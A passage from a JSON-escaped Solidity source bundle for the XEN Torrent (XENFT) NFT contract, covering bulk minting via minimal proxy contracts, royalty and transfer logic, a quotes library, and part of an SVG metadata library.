Virtual Mining Units\n mapping(uint256 => uint256) public vmuCount;\n // mapping: NFT tokenId => burned XEN\n mapping(uint256 => uint256) public xenBurned;\n // mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n // MintInfo encoded as:\n // term (uint16)\n // | maturityTs (uint64)\n // | rank (uint128)\n // | amp (uint16)\n // | eaa (uint16)\n // | class (uint8):\n // [7] isApex\n // [6] isLimited\n // [0-5] powerGroupIdx\n // | redeemed (uint8)\n mapping(uint256 => uint256) public mintInfo;\n\n // PUBLIC IMMUTABLE STATE\n\n // pointer to XEN Crypto contract\n XENCrypto public immutable xenCrypto;\n // genesisTs for the contract\n uint256 public immutable genesisTs;\n // start of operations block number\n uint256 public immutable startBlockNumber;\n\n // PRIVATE STATE\n\n // original contract marking to distinguish from proxy copies\n address private immutable _original;\n // original deployer address to be used for setting trusted forwarder\n address private immutable _deployer;\n // address to be used for royalties' tracking\n address private immutable _royaltyReceiver;\n\n // reentrancy guard constants and state\n // using non-zero constants to save gas avoiding repeated initialization\n uint256 private constant _NOT_USED = 2**256 - 1; // 0xFF..FF\n uint256 private constant _USED = _NOT_USED - 1; // 0xFF..FE\n // used as both\n // - reentrancy guard (_NOT_USED > _USED > _NOT_USED)\n // - for keeping state while awaiting for OnTokenBurned callback (_NOT_USED > tokenId > _NOT_USED)\n uint256 private _tokenId;\n\n // mapping Address => tokenId[]\n mapping(address => uint256[]) private _ownedTokens;\n\n /**\n @dev Constructor. Creates XEN Torrent contract, setting immutable parameters\n */\n constructor(\n address xenCrypto_,\n uint256[] memory burnRates_,\n uint256[] memory tokenLimits_,\n uint256 startBlockNumber_,\n address forwarder_,\n address royaltyReceiver_\n ) ERC2771Context(forwarder_) {\n require(xenCrypto_ != address(0), \"bad address\");\n require(burnRates_.length == tokenLimits_.length && burnRates_.length > 0, \"params mismatch\");\n _tokenId = _NOT_USED;\n _original = address(this);\n _deployer = msg.sender;\n _royaltyReceiver = royaltyReceiver_ == address(0) ? msg.sender : royaltyReceiver_;\n startBlockNumber = startBlockNumber_;\n genesisTs = block.timestamp;\n xenCrypto = XENCrypto(xenCrypto_);\n specialClassesBurnRates = burnRates_;\n specialClassesTokenLimits = tokenLimits_;\n specialClassesCounters = new uint256[](tokenLimits_.length);\n for (uint256 i = 2; i < specialClassesBurnRates.length - 1; i++) {\n specialClassesCounters[i] = specialClassesTokenLimits[i + 1] + 1;\n }\n specialClassesCounters[specialClassesBurnRates.length - 1] = 1;\n }\n\n /**\n @dev Call Reentrancy Guard\n */\n modifier nonReentrant() {\n require(_tokenId == _NOT_USED, \"XENFT: Reentrancy detected\");\n _tokenId = _USED;\n _;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev Start of Operations Guard\n */\n modifier notBeforeStart() {\n require(block.number > startBlockNumber, \"XENFT: Not active yet\");\n _;\n }\n\n // INTERFACES & STANDARDS\n // IERC165 IMPLEMENTATION\n\n /**\n @dev confirms support for IERC-165, IERC-721, IERC2981, IERC2771 and IBurnRedeemable interfaces\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {\n return\n interfaceId == type(IBurnRedeemable).interfaceId ||\n interfaceId == type(IERC2981).interfaceId ||\n interfaceId == type(IERC2771).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n // ERC2771 IMPLEMENTATION\n\n /**\n @dev use ERC2771Context implementation of _msgSender()\n */\n function _msgSender() internal view virtual override(Context, ERC2771Context) returns (address) {\n return ERC2771Context._msgSender();\n }\n\n /**\n @dev use ERC2771Context implementation of _msgData()\n */\n function _msgData() internal view virtual override(Context, ERC2771Context) returns (bytes calldata) {\n return ERC2771Context._msgData();\n }\n\n // OWNABLE IMPLEMENTATION\n\n /**\n @dev public getter to check for deployer / owner (Opensea, etc.)\n */\n function owner() external view returns (address) {\n return _deployer;\n }\n\n // ERC-721 METADATA IMPLEMENTATION\n /**\n @dev compliance with ERC-721 standard (NFT); returns NFT metadata, including SVG-encoded image\n */\n function tokenURI(uint256 tokenId) public view override returns (string memory) {\n uint256 count = vmuCount[tokenId];\n uint256 info = mintInfo[tokenId];\n uint256 burned = xenBurned[tokenId];\n require(count > 0);\n bytes memory dataURI = abi.encodePacked(\n \"{\",\n '\"name\": \"XEN Torrent #',\n tokenId.toString(),\n '\",',\n '\"description\": \"XENFT: XEN Crypto Minting Torrent\",',\n '\"image\": \"',\n \"data:image/svg+xml;base64,\",\n Base64.encode(Metadata.svgData(tokenId, count, info, address(xenCrypto), burned)),\n '\",',\n '\"attributes\": ',\n Metadata.attributes(count, burned, info),\n \"}\"\n );\n return string(abi.encodePacked(\"data:application/json;base64,\", Base64.encode(dataURI)));\n }\n\n // IMPLEMENTATION OF XENProxying INTERFACE\n // FUNCTIONS IN PROXY COPY CONTRACTS (VMUs), CALLING ORIGINAL XEN CRYPTO CONTRACT\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimRank(term)\n */\n function callClaimRank(uint256 term) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimRank(uint256)\", term);\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimMintRewardAndShare()\n */\n function callClaimMintReward(address to) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimMintRewardAndShare(address,uint256)\", to, uint256(100));\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => destroys the proxy contract\n */\n function powerDown() external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n selfdestruct(payable(address(0)));\n }\n\n // OVERRIDING OF ERC-721 IMPLEMENTATION\n // ENFORCEMENT OF TRANSFER BLACKOUT PERIOD\n\n /**\n @dev overrides OZ ERC-721 before transfer hook to check if there's no blackout period\n */\n function _beforeTokenTransfer(\n address from,\n address,\n uint256 tokenId\n ) internal virtual override {\n if (from != address(0)) {\n uint256 maturityTs = mintInfo[tokenId].getMaturityTs();\n uint256 delta = maturityTs > block.timestamp ? maturityTs - block.timestamp : block.timestamp - maturityTs;\n require(delta > BLACKOUT_TERM, \"XENFT: transfer prohibited in blackout period\");\n }\n }\n\n /**\n @dev overrides OZ ERC-721 after transfer hook to allow token enumeration for owner\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual override {\n _ownedTokens[from].removeItem(tokenId);\n _ownedTokens[to].addItem(tokenId);\n }\n\n // IBurnRedeemable IMPLEMENTATION\n\n /**\n @dev implements IBurnRedeemable interface for burning XEN and completing Bulk Mint for limited series\n */\n function onTokenBurned(address user, uint256 burned) external {\n require(_tokenId != _NOT_USED, \"XENFT: illegal callback state\");\n require(msg.sender == address(xenCrypto), \"XENFT: illegal callback caller\");\n _ownedTokens[user].addItem(_tokenId);\n xenBurned[_tokenId] = burned;\n _safeMint(user, _tokenId);\n emit StartTorrent(user, vmuCount[_tokenId], mintInfo[_tokenId].getTerm());\n _tokenId = _NOT_USED;\n }\n\n // IBurnableToken IMPLEMENTATION\n\n /**\n @dev burns XENTorrent XENFT which can be used by connected contracts services\n */\n function burn(address user, uint256 tokenId) public notBeforeStart nonReentrant {\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"XENFT burn: not a supported contract\"\n );\n require(user != address(0), \"XENFT burn: illegal owner address\");\n require(tokenId > 0, \"XENFT burn: illegal tokenId\");\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"XENFT burn: not an approved operator\");\n require(ownerOf(tokenId) == user, \"XENFT burn: user is not tokenId owner\");\n _ownedTokens[user].removeItem(tokenId);\n _burn(tokenId);\n IBurnRedeemable(_msgSender()).onTokenBurned(user, tokenId);\n }\n\n // OVERRIDING ERC-721 IMPLEMENTATION TO ALLOW OPENSEA ROYALTIES ENFORCEMENT PROTOCOL\n\n /**\n @dev implements `setApprovalForAll` with additional approved Operator checking\n */\n function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {\n super.setApprovalForAll(operator, approved);\n }\n\n /**\n @dev implements `approve` with additional approved Operator checking\n */\n function approve(address operator, uint256 tokenId) public override onlyAllowedOperatorApproval(operator) {\n super.approve(operator, tokenId);\n }\n\n /**\n @dev implements `transferFrom` with additional approved Operator checking\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.transferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId, data);\n }\n\n // SUPPORT FOR ERC2771 META-TRANSACTIONS\n\n /**\n @dev Implements setting a `Trusted Forwarder` for meta-txs. Settable only once\n */\n function addForwarder(address trustedForwarder) external {\n require(msg.sender == _deployer, \"XENFT: not an deployer\");\n require(_trustedForwarder == address(0), \"XENFT: Forwarder is already set\");\n _trustedForwarder = trustedForwarder;\n }\n\n // SUPPORT FOR ERC2981 ROYALTY INFO\n\n /**\n @dev Implements getting Royalty Info by supported operators. ROYALTY_BP is expressed in basis points\n */\n function royaltyInfo(uint256, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount) {\n receiver = _royaltyReceiver;\n royaltyAmount = (salePrice * ROYALTY_BP) / 10_000;\n }\n\n // XEN TORRENT PRIVATE / INTERNAL HELPERS\n\n /**\n @dev Sets specified XENFT as redeemed\n */\n function _setRedeemed(uint256 tokenId) private {\n mintInfo[tokenId] = mintInfo[tokenId] | uint256(1);\n }\n\n /**\n @dev Determines power group index for Collector Category\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev calculates Collector Class index\n */\n function _classIdx(uint256 count, uint256 term) private pure returns (uint256 index) {\n if (_powerGroup(count, term) > 7) return 7;\n return _powerGroup(count, term);\n }\n\n /**\n @dev internal helper to determine special class tier based on XEN to be burned\n */\n function _specialTier(uint256 burning) private view returns (uint256) {\n for (uint256 i = specialClassesBurnRates.length - 1; i > 0; i--) {\n if (specialClassesBurnRates[i] == 0) {\n return 0;\n }\n if (burning > specialClassesBurnRates[i] - 1) {\n return i;\n }\n }\n return 0;\n }\n\n /**\n @dev internal helper to collect params and encode MintInfo\n */\n function _mintInfo(\n address proxy,\n uint256 count,\n uint256 term,\n uint256 burning,\n uint256 tokenId\n ) private view returns (uint256) {\n bool apex = isApex(tokenId);\n uint256 _class = _classIdx(count, term);\n if (apex) _class = uint8(7 + _specialTier(burning)) | 0x80; // Apex Class\n if (burning > 0 && !apex) _class = uint8(8) | 0x40; // Limited Class\n (, , uint256 maturityTs, uint256 rank, uint256 amp, uint256 eaa) = xenCrypto.userMints(proxy);\n return MintInfo.encodeMintInfo(term, maturityTs, rank, amp, eaa, _class, false);\n }\n\n /**\n @dev internal torrent interface. initiates Bulk Mint (Torrent) Operation\n */\n function _bulkClaimRank(\n uint256 count,\n uint256 term,\n uint256 tokenId,\n uint256 burning\n ) private {\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n bytes memory callData = abi.encodeWithSignature(\"callClaimRank(uint256)\", term);\n address proxy;\n bool succeeded;\n for (uint256 i = 1; i < count + 1; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n assembly {\n proxy := create2(0, add(bytecode, 0x20), mload(bytecode), salt)\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rank\");\n if (i == 1) {\n mintInfo[tokenId] = _mintInfo(proxy, count, term, burning, tokenId);\n }\n }\n vmuCount[tokenId] = count;\n }\n\n /**\n @dev internal helper to claim tokenId (limited / ordinary)\n */\n function _getTokenId(uint256 count, uint256 burning) private returns (uint256) {\n // burn possibility has already been verified\n uint256 tier = _specialTier(burning);\n if (tier == 1) {\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(block.timestamp < genesisTs + LIMITED_CATEGORY_TIME_THRESHOLD, \"XENFT: limited time expired\");\n return tokenIdCounter++;\n }\n if (tier > 1) {\n require(_msgSender() == tx.origin, \"XENFT: only EOA allowed for this category\");\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(specialClassesCounters[tier] < specialClassesTokenLimits[tier] + 1, \"XENFT: class sold out\");\n return specialClassesCounters[tier]++;\n }\n return tokenIdCounter++;\n }\n\n // PUBLIC GETTERS\n\n /**\n @dev public getter for tokens owned by address\n */\n function ownedTokens() external view returns (uint256[] memory) {\n return _ownedTokens[_msgSender()];\n }\n\n /**\n @dev determines if tokenId corresponds to Limited Category\n */\n function isApex(uint256 tokenId) public pure returns (bool apex) {\n apex = tokenId < COMMON_CATEGORY_COUNTER;\n }\n\n // PUBLIC TRANSACTIONAL INTERFACE\n\n /**\n @dev public XEN Torrent interface\n initiates Bulk Mint (Torrent) Operation (Common Category)\n */\n function bulkClaimRank(uint256 count, uint256 term) public notBeforeStart returns (uint256 tokenId) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n _tokenId = _getTokenId(count, 0);\n _bulkClaimRank(count, term, _tokenId, 0);\n _ownedTokens[_msgSender()].addItem(_tokenId);\n _safeMint(_msgSender(), _tokenId);\n emit StartTorrent(_msgSender(), count, term);\n tokenId = _tokenId;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev public torrent interface. initiates Bulk Mint (Torrent) Operation (Special Category)\n */\n function bulkClaimRankLimited(\n uint256 count,\n uint256 term,\n uint256 burning\n ) public notBeforeStart returns (uint256) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n require(burning > specialClassesBurnRates[1] - 1, \"XENFT: not enough burn amount\");\n uint256 balance = IERC20(xenCrypto).balanceOf(_msgSender());\n require(balance > burning - 1, \"XENFT: not enough XEN balance\");\n uint256 approved = IERC20(xenCrypto).allowance(_msgSender(), address(this));\n require(approved > burning - 1, \"XENFT: not enough XEN balance approved for burn\");\n _tokenId = _getTokenId(count, burning);\n _bulkClaimRank(count, term, _tokenId, burning);\n IBurnableToken(xenCrypto).burn(_msgSender(), burning);\n return _tokenId;\n }\n\n /**\n @dev public torrent interface. initiates Mint Reward claim and collection and terminates Torrent Operation\n */\n function bulkClaimMintReward(uint256 tokenId, address to) external notBeforeStart nonReentrant {\n require(ownerOf(tokenId) == _msgSender(), \"XENFT: Incorrect owner\");\n require(to != address(0), \"XENFT: Illegal address\");\n require(!mintInfo[tokenId].getRedeemed(), \"XENFT: Already redeemed\");\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n uint256 end = vmuCount[tokenId] + 1;\n bytes memory callData = abi.encodeWithSignature(\"callClaimMintReward(address)\", to);\n bytes memory callData1 = abi.encodeWithSignature(\"powerDown()\");\n for (uint256 i = 1; i < end; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n bool succeeded;\n bytes32 hash = keccak256(abi.encodePacked(hex\"ff\", address(this), salt, keccak256(bytecode)));\n address proxy = address(uint160(uint256(hash)));\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rewards\");\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData1, 0x20), mload(callData1), 0, 0)\n }\n require(succeeded, \"XENFT: Error while powering down\");\n }\n _setRedeemed(tokenId);\n emit EndTorrent(_msgSender(), tokenId, to);\n }\n}\n"
},
"/contracts/libs/StringData.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n/*\n Extra XEN quotes:\n\n \"When you realize nothing is lacking, the whole world belongs to you.\" - Lao Tzu\n \"Each morning, we are born again. What we do today is what matters most.\" - Buddha\n \"If you are depressed, you are living in the past.\" - Lao Tzu\n \"In true dialogue, both sides are willing to change.\" - Thich Nhat Hanh\n \"The spirit of the individual is determined by his domination thought habits.\" - Bruce Lee\n \"Be the path. Do not seek it.\" - Yara Tschallener\n \"Bow to no one but your own divinity.\" - Satya\n \"With insight there is hope for awareness, and with awareness there can be change.\" - Tom Kenyon\n \"The opposite of depression isn't happiness, it is purpose.\" - Derek Sivers\n \"If you can't, you must.\" - Tony Robbins\n “When you are grateful, fear disappears and abundance appears.” - Lao Tzu\n “It is in your moments of decision that your destiny is shaped.” - Tony Robbins\n \"Surmounting difficulty is the crucible that forms character.\" - Tony Robbins\n \"Three things cannot be long hidden: the sun, the moon, and the truth.\" - Buddha\n \"What you are is what you have been. What you’ll be is what you do now.\" - Buddha\n \"The best way to take care of our future is to take care of the present moment.\" - Thich Nhat Hanh\n*/\n\n/**\n @dev a library to supply a XEN string data based on params\n*/\nlibrary StringData {\n uint256 public constant QUOTES_COUNT = 12;\n uint256 public constant QUOTE_LENGTH = 66;\n bytes public constant QUOTES =\n bytes(\n '\"If you realize you have enough, you are truly rich.\" - Lao Tzu '\n '\"The real meditation is how you live your life.\" - Jon Kabat-Zinn '\n '\"To know that you do not know is the best.\" - Lao Tzu '\n '\"An over-sharpened sword cannot last long.\" - Lao Tzu '\n '\"When you accept yourself, the whole world accepts you.\" - Lao Tzu'\n '\"Music in the soul can be heard by the universe.\" - Lao Tzu '\n '\"As soon as you have made a thought, laugh at it.\" - Lao Tzu '\n '\"The further one goes, the less one knows.\" - Lao Tzu '\n '\"Stop thinking, and end your problems.\" - Lao Tzu '\n '\"Reliability is the foundation of commitment.\" - Unknown '\n '\"Your past does not equal your future.\" - Tony Robbins '\n '\"Be the path. Do not seek it.\" - Yara Tschallener '\n );\n uint256 public constant CLASSES_COUNT = 14;\n uint256 public constant CLASSES_NAME_LENGTH = 10;\n bytes public constant CLASSES =\n bytes(\n \"Ruby \"\n \"Opal \"\n \"Topaz \"\n \"Emerald \"\n \"Aquamarine\"\n \"Sapphire \"\n \"Amethyst \"\n \"Xenturion \"\n \"Limited \"\n \"Rare \"\n \"Epic \"\n \"Legendary \"\n \"Exotic \"\n \"Xunicorn \"\n );\n\n /**\n @dev Solidity doesn't yet support slicing of byte arrays anywhere outside of calldata,\n therefore we make a hack by supplying our local constant packed string array as calldata\n */\n function getQuote(bytes calldata quotes, uint256 index) external pure returns (string memory) {\n if (index > QUOTES_COUNT - 1) return string(quotes[0:QUOTE_LENGTH]);\n return string(quotes[index * QUOTE_LENGTH:(index + 1) * QUOTE_LENGTH]);\n }\n\n function getClassName(bytes calldata names, uint256 index) external pure returns (string memory) {\n if (index < CLASSES_COUNT) return string(names[index * CLASSES_NAME_LENGTH:(index + 1) * CLASSES_NAME_LENGTH]);\n return \"\";\n }\n}\n"
},
"/contracts/libs/SVG.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./DateTime.sol\";\nimport \"./StringData.sol\";\nimport \"./FormattedStrings.sol\";\n\n/*\n @dev Library to create SVG image for XENFT metadata\n @dependency depends on DataTime.sol and StringData.sol libraries\n */\nlibrary SVG {\n // Type to encode all data params for SVG image generation\n struct SvgParams {\n string symbol;\n address xenAddress;\n uint256 tokenId;\n uint256 term;\n uint256 rank;\n uint256 count;\n uint256 maturityTs;\n uint256 amp;\n uint256 eaa;\n uint256 xenBurned;\n bool redeemed;\n string series;\n }\n\n // Type to encode SVG gradient stop color on HSL color scale\n struct Color {\n uint256 h;\n uint256 s;\n uint256 l;\n uint256 a;\n uint256 off;\n }\n\n // Type to encode SVG gradient\n struct Gradient {\n Color[] colors;\n uint256 id;\n uint256[4] coords;\n }\n\n using DateTime for uint256;\n using Strings for uint256;\n using FormattedStrings for uint256;\n using Strings for address;\n\n string private constant _STYLE =\n \"<style> \"\n \".base {fill: #ededed;font-family:Montserrat,arial,sans-serif;font-size:30px;font-weight:400;} \"\n \".series {text-transform: uppercase} \"\n \".logo {font-size:200px;font-weight:100;} \"\n \".meta {font-size:12px;} \"\n \".small {font-size:8px;} \"\n \".burn {font-weight:500;font-size:16px;} }\"\n \"</style>\";\n\n string private constant _COLLECTOR =\n \"<g>\"\n \"<path \"\n 'stroke=\"#ededed\" '\n 'fill=\"none\" '\n 'transform=\"translate(265,418)\" '\n 'd=\"m 0 0 L -20 -30 L -12.5 -38.5 l 6.5 7 L 0 -38.5 L 6.56 -31.32 L 12.5 -38.5 L 20 -30 L 0 0 L -7.345 -29.955 L 0 -38.5 L 7.67 -30.04 L 0 0 Z M 0 0 L -20.055 -29.955 l 7.555 -8.545 l 24.965 -0.015 L 20 -30 L -20.055 -29.955\"/>'\n \"</g>\";\n\n string private constant _LIMITED =\n \"<g> \"\n '<path fill=\"#ededed\" '\n 'transform=\"scale(0.4) translate(600, 940)\" '\n 'd=\"M66,38.09q.06.9.18,1.71v.05c1,7.08,4.63,11.39,9.59,13.81,5.18,2.53,11.83,3.09,18.48,2.61,1.49-.11,3-.27,4.39-.47l1.59-.2c4.78-.61,11.47-1.48,13.35-5.06,1.16-2.2,1-5,0-8a38.85,38.85,0,0,0-6.89-11.73A32.24,32.24,0,0,0,95,21.46,21.2,21.2,0,0,0,82.3,20a23.53,23.53,0,0,0-12.75,7,15.66,15.66,0,0,0-2.35,3.46h0a20.83,20.83,0,0,0-1,2.83l-.06.2,0,.12A12,12,0,0,0,66,37.9l0,.19Zm26.9-3.63a5.51,5.51,0,0,1,2.53-4.39,14.19,14.19,0,0,0-5.77-.59h-.16l.06.51a5.57,5.57,0,0,0,2.89,4.22,4.92,4.92,0,0,0,.45.24ZM88.62,28l.94-.09a13.8,13.8,0,0,1,8,1.43,7.88,7.88,0,0,1,3.92,6.19l0,.43a.78.78,0,0,1-.66.84A19.23,19.23,0,0,1,98,37a12.92,12.92,0,0,1-6.31-1.44A7.08,7.08,0,0,1,88,30.23a10.85,10.85,0,0,1-.1-1.44.8.8,0,0,1,.69-.78ZM14.15,10c-.06-5.86,3.44-8.49,8-9.49C26.26-.44,31.24.16,34.73.7A111.14,111.14,0,0,1,56.55,6.4a130.26,130.26,0,0,1,22,10.8,26.25,26.25,0,0,1,3-.78,24.72,24.72,0,0,1,14.83,1.69,36,36,0,0,1,13.09,10.42,42.42,42.42,0,0,1,7.54,12.92c1.25,3.81,1.45,7.6-.23,10.79-2.77,5.25-10.56,6.27-16.12,7l-1.23.16a54.53,54.53,0,0,1-2.81,12.06A108.62,108.62,0,0,1,91.3,84v25.29a9.67,9.67,0,0,1,9.25,10.49c0,.41,0,.81,0,1.18a1.84,1.84,0,0,1-1.84,1.81H86.12a8.8,8.8,0,0,1-5.1-1.56,10.82,10.82,0,0,1-3.35-4,2.13,2.13,0,0,1-.2-.46L73.53,103q-2.73,2.13-5.76,4.16c-1.2.8-2.43,1.59-3.69,2.35l.6.16a8.28,8.28,0,0,1,5.07,4,15.38,15.38,0,0,1,1.71,7.11V121a1.83,1.83,0,0,1-1.83,1.83h-53c-2.58.09-4.47-.52-5.75-1.73A6.49,6.49,0,0,1,9.11,116v-11.2a42.61,42.61,0,0,1-6.34-11A38.79,38.79,0,0,1,1.11,70.29,37,37,0,0,1,13.6,50.54l.1-.09a41.08,41.08,0,0,1,11-6.38c7.39-2.9,17.93-2.77,26-2.68,5.21.06,9.34.11,10.19-.49a4.8,4.8,0,0,0,1-.91,5.11,5.11,0,0,0,.56-.84c0-.26,0-.52-.07-.78a16,16,0,0,1-.06-4.2,98.51,98.51,0,0,0-18.76-3.68c-7.48-.83-15.44-1.19-23.47-1.41l-1.35,0c-2.59,0-4.86,0-7.46-1.67A9,9,0,0,1,8,23.68a9.67,9.67,0,0,1-.91-5A10.91,10.91,0,0,1,8.49,14a8.74,8.74,0,0,1,3.37-3.29A8.2,8.2,0,0,1,14.15,10ZM69.14,22a54.75,54.75,0,0,1,4.94-3.24,124.88,124.88,0,0,0-18.8-9A106.89,106.89,0,0,0,34.17,4.31C31,3.81,26.44,3.25,22.89,4c-2.55.56-4.59,1.92-5,4.79a134.49,134.49,0,0,1,26.3,3.8,115.69,115.69,0,0,1,25,9.4ZM64,28.65c.21-.44.42-.86.66-1.28a15.26,15.26,0,0,1,1.73-2.47,146.24,146.24,0,0,0-14.92-6.2,97.69,97.69,0,0,0-15.34-4A123.57,123.57,0,0,0,21.07,13.2c-3.39-.08-6.3.08-7.47.72a5.21,5.21,0,0,0-2,1.94,7.3,7.3,0,0,0-1,3.12,6.1,6.1,0,0,0,.55,3.11,5.43,5.43,0,0,0,2,2.21c1.73,1.09,3.5,1.1,5.51,1.12h1.43c8.16.23,16.23.59,23.78,1.42a103.41,103.41,0,0,1,19.22,3.76,17.84,17.84,0,0,1,.85-2Zm-.76,15.06-.21.16c-1.82,1.3-6.48,1.24-12.35,1.17C42.91,45,32.79,44.83,26,47.47a37.41,37.41,0,0,0-10,5.81l-.1.08A33.44,33.44,0,0,0,4.66,71.17a35.14,35.14,0,0,0,1.5,21.32A39.47,39.47,0,0,0,12.35,103a1.82,1.82,0,0,1,.42,1.16v12a3.05,3.05,0,0,0,.68,2.37,4.28,4.28,0,0,0,3.16.73H67.68a10,10,0,0,0-1.11-3.69,4.7,4.7,0,0,0-2.87-2.32,15.08,15.08,0,0,0-4.4-.38h-26a1.83,1.83,0,0,1-.15-3.65c5.73-.72,10.35-2.74,13.57-6.25,3.06-3.34,4.91-8.1,5.33-14.45v-.13A18.88,18.88,0,0,0,46.35,75a20.22,20.22,0,0,0-7.41-4.42,23.54,23.54,0,0,0-8.52-1.25c-4.7.19-9.11,1.83-12,4.83a1.83,1.83,0,0,1-2.65-2.52c3.53-3.71,8.86-5.73,14.47-6a27.05,27.05,0,0,1,9.85,1.44,24,24,0,0,1,8.74,5.23,22.48,22.48,0,0,1,6.85,15.82v.08a2.17,2.17,0,0,1,0,.36c-.47,7.25-2.66,12.77-6.3,16.75a21.24,21.24,0,0,1-4.62,3.77H57.35q4.44-2.39,8.39-5c2.68-1.79,5.22-3.69,7.63-5.67a1.82,1.82,0,0,1,2.57.24,1.69,1.69,0,0,1,.35.66L81,115.62a7,7,0,0,0,2.16,2.62,5.06,5.06,0,0,0,3,.9H96.88a6.56,6.56,0,0,0-1.68-4.38,7.19,7.19,0,0,0-4.74-1.83c-.36,0-.69,0-1,0a1.83,1.83,0,0,1-1.83-1.83V83.6a1.75,1.75,0,0,1,.23-.88,105.11,105.11,0,0,0,5.34-12.46,52,52,0,0,0,2.55-10.44l-1.23.1c-7.23.52-14.52-.12-20.34-3A20,20,0,0,1,63.26,43.71Z\"/>'\n \"</g>\";\n\n string private constant _APEX =\n '<g transform=\"scale(0.5) translate(533, 790)\">'\n '<circle r=\"39\" stroke=\"#ededed\" fill=\"transparent\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"M0,38 a38,38 0 0 1 0,-76 a19,19 0 0 1 0,38 a19,19 0 0 0 0,38 z m -5 -57 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0 z\" '\n 'fill-rule=\"evenodd\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"m -5, 19 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0\"/>'\n \"</g>\";\n\n string private constant _LOGO =\n '<path fill=\"#ededed\" '\n 'd=\"M122.7,227.1 l-4.8,0l55.8,-74l0,3.2l-51.8,-69.2l5,0l48.8,65.4l-1.2,0l48.8,-65.4l4.8,0l-51.2,68.4l0,-1.6l55.2,73.2l-5,0l-52.8,-70.2l1.2,0l-52.8,70.2z\" '\n 'vector-effect=\"non-scaling-stroke\" />';\n\n /**\n @dev internal helper to create HSL-encoded color prop for SVG tags\n */\n function colorHSL(Color memory c) internal pure returns (bytes memory) {\n return abi.encodePacked(\"hsl(\", c.h.toString(), \", \", c.s.toString(), \"%, \", c.l.toString(), \"%)\");\n }\n\n /**\n @dev internal helper to create `stop` SVG tag\n */\n function colorStop(Color memory c) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n '<stop stop-color=\"',\n colorHSL(c),\n '\" stop-opacity=\"',\n c.a.toString(),\n '\" offset=\"',\n c.off.toString(),\n '%\"/>'\n );\n }\n\n /**\n @dev internal helper to encode position for `Gradient` SVG tag\n */\n function pos(uint256[4] memory coords) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n 'x1=\"',\n coords[0].toString(),\n '%\" '\n 'y1=\"',\n coords[1].toString(),\n '%\" '\n 'x2=\"',\n coords[2].toString(),\n '%\" '\n 'y2=\"',\n coords[3].toString(),\n '%\" '\n );\n }\n\n /**\n @dev internal helper to create `Gradient` SVG tag\n */\n function linearGradient(\n Color[] memory colors,\n uint256 id,\n uint256[4] memory coords\n ) internal pure returns (bytes memory) {\n string memory stops = \"\";\n for (uint256 i = 0; i < colors.length; i++) {\n if (colors[i].h != 0) {\n stops = string.concat(stops, string(colorStop(colors[i])));\n }\n }\n return\n abi.encodePacked(\n \"<linearGradient \",\n 